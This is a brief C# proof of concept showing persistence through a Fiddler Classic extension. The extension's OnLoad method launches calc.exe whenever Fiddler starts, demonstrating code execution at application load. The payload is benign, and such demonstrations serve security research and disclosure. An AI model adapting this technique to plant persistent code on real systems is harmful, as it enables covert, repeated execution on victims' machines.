Fiddler Classic - Extension Persistence - Proof of Concept

using System.Diagnostics;
using Fiddler;
 
[assembly: Fiddler.RequiredVersion("2.3.5.0")]
 
namespace POCFiddlerDotNet
{
    public class PersistencePOC : IFiddlerExtension
    {
        public PersistencePOC() { }
 
        public void OnLoad()
        {
            Process.Start("calc", "");
        }
 
        public void OnBeforeUnload()
        {
            //
        }
    }
}